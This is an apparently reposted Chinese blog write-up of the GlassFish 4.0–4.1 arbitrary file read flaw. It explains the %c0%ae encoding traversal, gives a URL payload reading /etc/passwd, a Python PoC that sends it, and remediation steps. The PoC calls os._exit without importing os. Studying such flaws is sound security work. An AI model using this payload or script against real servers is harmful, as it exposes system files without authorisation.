GlassFish 任意文件读取

一. 漏洞描述

glassfish是一款java编写的跨平台的开源的应用服务器。2015年10月,被爆出通用任意文件读取漏洞。利用这个漏洞,攻击者可读取服务器上任意文件。

与宽字节SQL注入一致,都是由于unicode编码歧义导致的。

影响版本:4.0至4.1

二. 漏洞复现

1. 环境搭建

使用vulhub中的环境搭建

访问8848

2. 构造如下payload:

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

java会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)。实现了目录穿越。

三. 漏洞修复

1. 过滤../字符

2. 升级

四. poc

import requests
import argparse
from requests.packages import urllib3
urllib3.disable_warnings()
def url():
		parser = argparse.ArgumentParser(description='GlassFish 任意文件读取 POC')
		parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:4848')
		args = parser.parse_args() 
		global url
		url = args.target_url
		#检测输入的url的正确性
		if url.startswith('http://') or url.startswith('https://'):
			pass
		else:
			print('[-]Please include http:// or https:// in the URL!!')
			os._exit(0)
		if url.endswith('/'):
			url = url[:-1]
		print('[+]author:chenchen')
		print("[-]GlassFish 任意文件读取 POC",)
		print("[-]开始执行检测...")
		print("[-]目标地址:",url)
		return url
def check():
	headers={
		'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
	}
	poc = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
	url_1 = url + poc
	try:
		text = requests.get(url_1,headers=headers,verify=False).text
		print(text)
		if "root:x:" in text:
			print('漏洞存在')
		else:
			print('漏洞不存在')
	except Exception as a:
		print('发生错误',a)
if __name__ == '__main__':
	url()
	check()

——心,若没有栖息的地方,到哪都是流浪

猜你喜欢

转载自blog.csdn.net/qq_44159028/article/details/114367333